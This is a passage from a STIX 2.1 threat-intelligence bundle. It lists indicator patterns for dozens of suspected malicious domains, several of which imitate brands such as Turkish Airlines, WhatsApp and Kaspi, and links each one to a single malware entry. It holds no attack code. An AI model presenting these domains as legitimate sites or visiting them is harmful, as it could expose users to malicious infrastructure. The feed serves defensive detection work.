"malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--089a55eb-a0ed-4b1f-85e0-51fa3884b056", "created": "2024-01-26T21:28:21.030911Z", "modified": "2024-01-26T21:28:21.030911Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='productsall.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.030911Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4d028fdc-073e-4f47-9305-ca1d3a4264df", "created": "2024-01-26T21:28:21.031324Z", "modified": "2024-01-26T21:28:21.031324Z", "relationship_type": "indicates", "source_ref": "indicator--089a55eb-a0ed-4b1f-85e0-51fa3884b056", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fd6fb173-714f-43b9-8a4f-993da95c74a1", "created": "2024-01-26T21:28:21.031421Z", "modified": "2024-01-26T21:28:21.031421Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='turismo-aqui.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.031421Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--34f767f2-c23c-4eaa-9af5-a001ca1a3283", "created": "2024-01-26T21:28:21.031884Z", "modified": "2024-01-26T21:28:21.031884Z", "relationship_type": "indicates", "source_ref": "indicator--fd6fb173-714f-43b9-8a4f-993da95c74a1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--26a746ef-f5f4-49fe-945e-781f2b5e95da", "created": "2024-01-26T21:28:21.031984Z", "modified": "2024-01-26T21:28:21.031984Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='scriptsinstallers.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.031984Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--af6d9eba-b83c-4f00-abd7-9e023555a0c0", "created": "2024-01-26T21:28:21.032408Z", "modified": "2024-01-26T21:28:21.032408Z", "relationship_type": "indicates", "source_ref": "indicator--26a746ef-f5f4-49fe-945e-781f2b5e95da", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--336e0556-b99e-494b-a340-3143a41ddef4", "created": "2024-01-26T21:28:21.032505Z", "modified": "2024-01-26T21:28:21.032505Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='multiplecurrencies.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.032505Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6bfd4354-6350-40bc-bf53-a86ccb069f41", "created": "2024-01-26T21:28:21.032975Z", "modified": "2024-01-26T21:28:21.032975Z", "relationship_type": "indicates", "source_ref": "indicator--336e0556-b99e-494b-a340-3143a41ddef4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dd8d85d4-a263-47dd-81e0-f60b5c10b675", "created": "2024-01-26T21:28:21.033073Z", "modified": "2024-01-26T21:28:21.033073Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pine-sales.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.033073Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a3496e03-f9d4-45ae-84f4-8c78bc326581", "created": "2024-01-26T21:28:21.033479Z", "modified": "2024-01-26T21:28:21.033479Z", "relationship_type": "indicates", "source_ref": "indicator--dd8d85d4-a263-47dd-81e0-f60b5c10b675", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d4bfbbd6-4109-49b1-8d0f-e6896237ba73", "created": "2024-01-26T21:28:21.033577Z", "modified": "2024-01-26T21:28:21.033577Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='receiptpending.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.033577Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--94032e01-b557-432f-9cb7-7521d0500be4", "created": "2024-01-26T21:28:21.033986Z", "modified": "2024-01-26T21:28:21.033986Z", "relationship_type": "indicates", "source_ref": "indicator--d4bfbbd6-4109-49b1-8d0f-e6896237ba73", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--416e360e-e2a3-43f8-a078-f1fde25b3562", "created": "2024-01-26T21:28:21.034083Z", "modified": "2024-01-26T21:28:21.034083Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='turkishairines.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.034083Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6288706f-4cff-4850-a422-c1712e4801e1", "created": "2024-01-26T21:28:21.03458Z", "modified": "2024-01-26T21:28:21.03458Z", "relationship_type": "indicates", "source_ref": "indicator--416e360e-e2a3-43f8-a078-f1fde25b3562", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a88d49ff-435e-460f-8e20-6b475f1c1541", "created": "2024-01-26T21:28:21.034677Z", "modified": "2024-01-26T21:28:21.034677Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='infoquiz.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.034677Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--88d5a7a2-c33e-42cc-84ba-8d273e199058", "created": "2024-01-26T21:28:21.035124Z", "modified": "2024-01-26T21:28:21.035124Z", "relationship_type": "indicates", "source_ref": "indicator--a88d49ff-435e-460f-8e20-6b475f1c1541", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b3bd5193-19da-4780-9325-0a176ce40012", "created": "2024-01-26T21:28:21.035223Z", "modified": "2024-01-26T21:28:21.035223Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newarrivals.club']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.035223Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a309e325-4384-4544-be2e-4fcef6d872d8", "created": "2024-01-26T21:28:21.035628Z", "modified": "2024-01-26T21:28:21.035628Z", "relationship_type": "indicates", "source_ref": "indicator--b3bd5193-19da-4780-9325-0a176ce40012", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f9738f43-d942-4c8a-b6d0-156e670fc83e", "created": "2024-01-26T21:28:21.035726Z", "modified": "2024-01-26T21:28:21.035726Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='outletstore.tech']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.035726Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ed20a0f2-4ea6-4d6c-b564-2400a4f3dcc4", "created": "2024-01-26T21:28:21.03613Z", "modified": "2024-01-26T21:28:21.03613Z", "relationship_type": "indicates", "source_ref": "indicator--f9738f43-d942-4c8a-b6d0-156e670fc83e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4e11bc9c-0bf6-4707-b557-f28e61c87aa9", "created": "2024-01-26T21:28:21.03623Z", "modified": "2024-01-26T21:28:21.03623Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='saveurday.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.03623Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4b328e5a-0d4d-4df8-b7cc-a4f0039c2607", "created": "2024-01-26T21:28:21.036627Z", "modified": "2024-01-26T21:28:21.036627Z", "relationship_type": "indicates", "source_ref": "indicator--4e11bc9c-0bf6-4707-b557-f28e61c87aa9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--edb557b7-f2a3-47df-b965-520f9f8fc58b", "created": "2024-01-26T21:28:21.036724Z", "modified": "2024-01-26T21:28:21.036724Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hothdwallpaperz.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.036724Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--86fc3e20-a94b-496f-a539-f15286e1106d", "created": "2024-01-26T21:28:21.03713Z", "modified": "2024-01-26T21:28:21.03713Z", "relationship_type": "indicates", "source_ref": "indicator--edb557b7-f2a3-47df-b965-520f9f8fc58b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b978c88d-19f5-4a20-844a-f5b3bc0353bb", "created": "2024-01-26T21:28:21.037227Z", "modified": "2024-01-26T21:28:21.037227Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='roadwide.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.037227Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5c10536f-960d-49b4-9b1e-4f2b99c7973a", "created": "2024-01-26T21:28:21.037626Z", "modified": "2024-01-26T21:28:21.037626Z", "relationship_type": "indicates", "source_ref": "indicator--b978c88d-19f5-4a20-844a-f5b3bc0353bb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--66b41670-71c3-437d-9c18-fa8efeffee99", "created": "2024-01-26T21:28:21.037725Z", "modified": "2024-01-26T21:28:21.037725Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='primarystrike.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.037725Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--487ff57b-0bbc-4535-a7a2-1ccae75238e6", "created": "2024-01-26T21:28:21.038129Z", "modified": "2024-01-26T21:28:21.038129Z", "relationship_type": "indicates", "source_ref": "indicator--66b41670-71c3-437d-9c18-fa8efeffee99", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0adb00d0-9055-4a8e-8ed5-6c8f94b71e44", "created": "2024-01-26T21:28:21.038225Z", "modified": "2024-01-26T21:28:21.038225Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newsportal24.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.038225Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8160b8c8-dc6f-49be-8238-6ff7b8992781", "created": "2024-01-26T21:28:21.038632Z", "modified": "2024-01-26T21:28:21.038632Z", "relationship_type": "indicates", "source_ref": "indicator--0adb00d0-9055-4a8e-8ed5-6c8f94b71e44", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--88037a8a-9b00-4d96-8fa0-8036dd3ba293", "created": "2024-01-26T21:28:21.038728Z", "modified": "2024-01-26T21:28:21.038728Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ezdropshipping.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.038728Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b5bf9caa-37fc-4dee-bbaa-2b2eba6c310f", "created": "2024-01-26T21:28:21.039276Z", "modified": "2024-01-26T21:28:21.039276Z", "relationship_type": "indicates", "source_ref": "indicator--88037a8a-9b00-4d96-8fa0-8036dd3ba293", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--14ac4866-3795-4a40-be3f-0079b40869f2", "created": "2024-01-26T21:28:21.039374Z", "modified": "2024-01-26T21:28:21.039374Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pochta-info.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.039374Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8621c91e-1647-4f25-b341-d22102295f49", "created": "2024-01-26T21:28:21.039775Z", "modified": "2024-01-26T21:28:21.039775Z", "relationship_type": "indicates", "source_ref": "indicator--14ac4866-3795-4a40-be3f-0079b40869f2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2d4794be-e313-4019-94c8-a9d1c5fe5265", "created": "2024-01-26T21:28:21.039873Z", "modified": "2024-01-26T21:28:21.039873Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='readingbooksnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.039873Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e6101e5e-99ba-4295-82cb-aeb2e85a2535", "created": "2024-01-26T21:28:21.040279Z", "modified": "2024-01-26T21:28:21.040279Z", "relationship_type": "indicates", "source_ref": "indicator--2d4794be-e313-4019-94c8-a9d1c5fe5265", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3fb6312a-7bb1-4045-bcd0-25c2a84fe02a", "created": "2024-01-26T21:28:21.040375Z", "modified": "2024-01-26T21:28:21.040375Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pub-dns.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.040375Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a4ff0975-d57a-432c-a219-1739331957fd", "created": "2024-01-26T21:28:21.040777Z", "modified": "2024-01-26T21:28:21.040777Z", "relationship_type": "indicates", "source_ref": "indicator--3fb6312a-7bb1-4045-bcd0-25c2a84fe02a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--67ae3546-cec2-4904-849b-3d578119b2aa", "created": "2024-01-26T21:28:21.040876Z", "modified": "2024-01-26T21:28:21.040876Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nsoqa.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.040876Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--618a3336-4e98-4680-b950-377e1ff149d7", "created": "2024-01-26T21:28:21.041275Z", "modified": "2024-01-26T21:28:21.041275Z", "relationship_type": "indicates", "source_ref": "indicator--67ae3546-cec2-4904-849b-3d578119b2aa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d6006c79-a40b-482e-8902-7c2678ec5708", "created": "2024-01-26T21:28:21.041373Z", "modified": "2024-01-26T21:28:21.041373Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loading-page.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.041373Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e8cf1317-0740-4761-bb45-0f1374847b33", "created": "2024-01-26T21:28:21.04178Z", "modified": "2024-01-26T21:28:21.04178Z", "relationship_type": "indicates", "source_ref": "indicator--d6006c79-a40b-482e-8902-7c2678ec5708", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b43734d4-0b0d-4f3f-84e4-0c51dee0291c", "created": "2024-01-26T21:28:21.041877Z", "modified": "2024-01-26T21:28:21.041877Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='exchangenerate.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.041877Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f3dc17cb-035e-45db-88dd-8dad15342e21", "created": "2024-01-26T21:28:21.042336Z", "modified": "2024-01-26T21:28:21.042336Z", "relationship_type": "indicates", "source_ref": "indicator--b43734d4-0b0d-4f3f-84e4-0c51dee0291c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b910cfd5-75db-4cbc-b55f-1e47c30bcaab", "created": "2024-01-26T21:28:21.042433Z", "modified": "2024-01-26T21:28:21.042433Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='specialgifts4all.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.042433Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--affe6df2-a7ac-4d39-9fd7-ca165646458c", "created": "2024-01-26T21:28:21.042839Z", "modified": "2024-01-26T21:28:21.042839Z", "relationship_type": "indicates", "source_ref": "indicator--b910cfd5-75db-4cbc-b55f-1e47c30bcaab", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a4ebe095-cddd-4621-b07d-c7ef35ff568b", "created": "2024-01-26T21:28:21.042935Z", "modified": "2024-01-26T21:28:21.042935Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='uptownfun.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.042935Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7baa390a-be8f-4b66-95a9-a3ecb324de5f", "created": "2024-01-26T21:28:21.043391Z", "modified": "2024-01-26T21:28:21.043391Z", "relationship_type": "indicates", "source_ref": "indicator--a4ebe095-cddd-4621-b07d-c7ef35ff568b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--88b3fc74-d902-4a2c-bb43-871baf01b93b", "created": "2024-01-26T21:28:21.043488Z", "modified": "2024-01-26T21:28:21.043488Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='m-resume.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.043488Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c801e615-cab9-460b-890c-66ac83d902ee", "created": "2024-01-26T21:28:21.043966Z", "modified": "2024-01-26T21:28:21.043966Z", "relationship_type": "indicates", "source_ref": "indicator--88b3fc74-d902-4a2c-bb43-871baf01b93b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4a0b3aa7-03ce-4e8f-a013-85f21f60e04d", "created": "2024-01-26T21:28:21.044064Z", "modified": "2024-01-26T21:28:21.044064Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cashandlife.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.044064Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2075a3fc-5f7d-4cc5-9757-cbb88c4ebbfa", "created": "2024-01-26T21:28:21.04447Z", "modified": "2024-01-26T21:28:21.04447Z", "relationship_type": "indicates", "source_ref": "indicator--4a0b3aa7-03ce-4e8f-a013-85f21f60e04d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1f15d39f-c862-4cc8-8d81-2d0a5c71d635", "created": "2024-01-26T21:28:21.044568Z", "modified": "2024-01-26T21:28:21.044568Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='onlywebsite.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.044568Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--afb7af40-91d4-406d-bdd3-2883ad77fc8d", "created": "2024-01-26T21:28:21.044971Z", "modified": "2024-01-26T21:28:21.044971Z", "relationship_type": "indicates", "source_ref": "indicator--1f15d39f-c862-4cc8-8d81-2d0a5c71d635", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ce399133-0981-42a7-bbf0-ddc1d6631c54", "created": "2024-01-26T21:28:21.045069Z", "modified": "2024-01-26T21:28:21.045069Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='notificationsneeded.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.045069Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--661cd32e-0c1d-4c42-ac55-6152ac947323", "created": "2024-01-26T21:28:21.04548Z", "modified": "2024-01-26T21:28:21.04548Z", "relationship_type": "indicates", "source_ref": "indicator--ce399133-0981-42a7-bbf0-ddc1d6631c54", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--34dbad81-c870-4e57-b66a-a17222bb32f1", "created": "2024-01-26T21:28:21.045577Z", "modified": "2024-01-26T21:28:21.045577Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='applicationcreation.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.045577Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--156cf411-aee5-4e52-ae73-72ae043b2970", "created": "2024-01-26T21:28:21.045989Z", "modified": "2024-01-26T21:28:21.045989Z", "relationship_type": "indicates", "source_ref": "indicator--34dbad81-c870-4e57-b66a-a17222bb32f1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8c35762c-8193-46db-9084-5380f24883b5", "created": "2024-01-26T21:28:21.046087Z", "modified": "2024-01-26T21:28:21.046087Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='transferlights.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.046087Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--50010b1f-3223-4379-88fe-25a0568d7e59", "created": "2024-01-26T21:28:21.046492Z", "modified": "2024-01-26T21:28:21.046492Z", "relationship_type": "indicates", "source_ref": "indicator--8c35762c-8193-46db-9084-5380f24883b5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4f93d0b6-6f64-4d19-97b2-d8ebac1bd883", "created": "2024-01-26T21:28:21.046589Z", "modified": "2024-01-26T21:28:21.046589Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='whatsappsupport.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.046589Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--87d52ba5-6b42-4349-bb48-f00e738948b7", "created": "2024-01-26T21:28:21.046998Z", "modified": "2024-01-26T21:28:21.046998Z", "relationship_type": "indicates", "source_ref": "indicator--4f93d0b6-6f64-4d19-97b2-d8ebac1bd883", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e2b8eba3-b664-4ab3-b51e-f97917a1b6cb", "created": "2024-01-26T21:28:21.047094Z", "modified": "2024-01-26T21:28:21.047094Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ehistorybooks.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.047094Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d65434b3-719c-41b8-82af-2d2215979a50", "created": "2024-01-26T21:28:21.047497Z", "modified": "2024-01-26T21:28:21.047497Z", "relationship_type": "indicates", "source_ref": "indicator--e2b8eba3-b664-4ab3-b51e-f97917a1b6cb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--977d4a88-e658-44c5-93b5-82839d3fff4a", "created": "2024-01-26T21:28:21.047592Z", "modified": "2024-01-26T21:28:21.047592Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='happiness4us.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.047592Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e8b6e55d-d598-4ca2-a446-610ffbe952e6", "created": "2024-01-26T21:28:21.048001Z", "modified": "2024-01-26T21:28:21.048001Z", "relationship_type": "indicates", "source_ref": "indicator--977d4a88-e658-44c5-93b5-82839d3fff4a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0c1637f8-bb4a-4fcb-a337-c527d11d6642", "created": "2024-01-26T21:28:21.048099Z", "modified": "2024-01-26T21:28:21.048099Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='formatpainter.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.048099Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fa592d0b-e7f3-49be-99c0-89a9afb8235c", "created": "2024-01-26T21:28:21.048633Z", "modified": "2024-01-26T21:28:21.048633Z", "relationship_type": "indicates", "source_ref": "indicator--0c1637f8-bb4a-4fcb-a337-c527d11d6642", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--54d984fb-45b7-4510-86d7-04be39e4f61f", "created": "2024-01-26T21:28:21.048733Z", "modified": "2024-01-26T21:28:21.048733Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mykaspi.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.048733Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--da364ac6-36c4-4021-a212-1b691dcc82c4", "created": "2024-01-26T21:28:21.049133Z", "modified": "2024-01-26T21:28:21.049133Z", "relationship_type": "indicates", "source_ref": "indicator--54d984fb-45b7-4510-86d7-04be39e4f61f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a004db04-98ee-4852-8fc6-84103d3fe940", "created": "2024-01-26T21:28:21.049233Z", "modified": "2024-01-26T21:28:21.049233Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='revoke-dashboard.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.049233Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--769a5481-62ae-45f9-9973-8959e74e3add", "created": "2024-01-26T21:28:21.04964Z", "modified": "2024-01-26T21:28:21.04964Z", "relationship_type": "indicates", "source_ref": "indicator--a004db04-98ee-4852-8fc6-84103d3fe940", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--418fb4c4-0685-4146-92ef-6d58f3e929b1", "created": "2024-01-26T21:28:21.049738Z", "modified": "2024-01-26T21:28:21.049738Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='event-reg.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.049738Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0aabe9db-c61d-4925-b380-a6b3232f29e7", "created": "2024-01-26T21:28:21.050135Z", "modified": "2024-01-26T21:28:21.050135Z", "relationship_type": "indicates", "source_ref": "indicator--418fb4c4-0685-4146-92ef-6d58f3e929b1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--012e9708-7309-43d9-859a-73c3f0fc9f32", "created": "2024-01-26T21:28:21.050237Z", "modified": "2024-01-26T21:28:21.050237Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dnslogs.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.050237Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--68dec0a2-a006-4df0-acff-9245736460b8", "created": "2024-01-26T21:28:21.050634Z", "modified": "2024-01-26T21:28:21.050634Z", "relationship_type": "indicates", "source_ref": "indicator--012e9708-7309-43d9-859a-73c3f0fc9f32", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dc2c088d-2eb0-419b-a777-d8413b285cb7", "created": "2024-01-26T21:28:21.050735Z", "modified": "2024-01-26T21:28:21.050735Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dancersing.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.050735Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dd070674-0b3e-45f5-bf99-84e60c9b6c19", "created": "2024-01-26T21:28:21.051132Z", "modified": "2024-01-26T21:28:21.051132Z", "relationship_type": "indicates", "source_ref": "indicator--dc2c088d-2eb0-419b-a777-d8413b285cb7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": 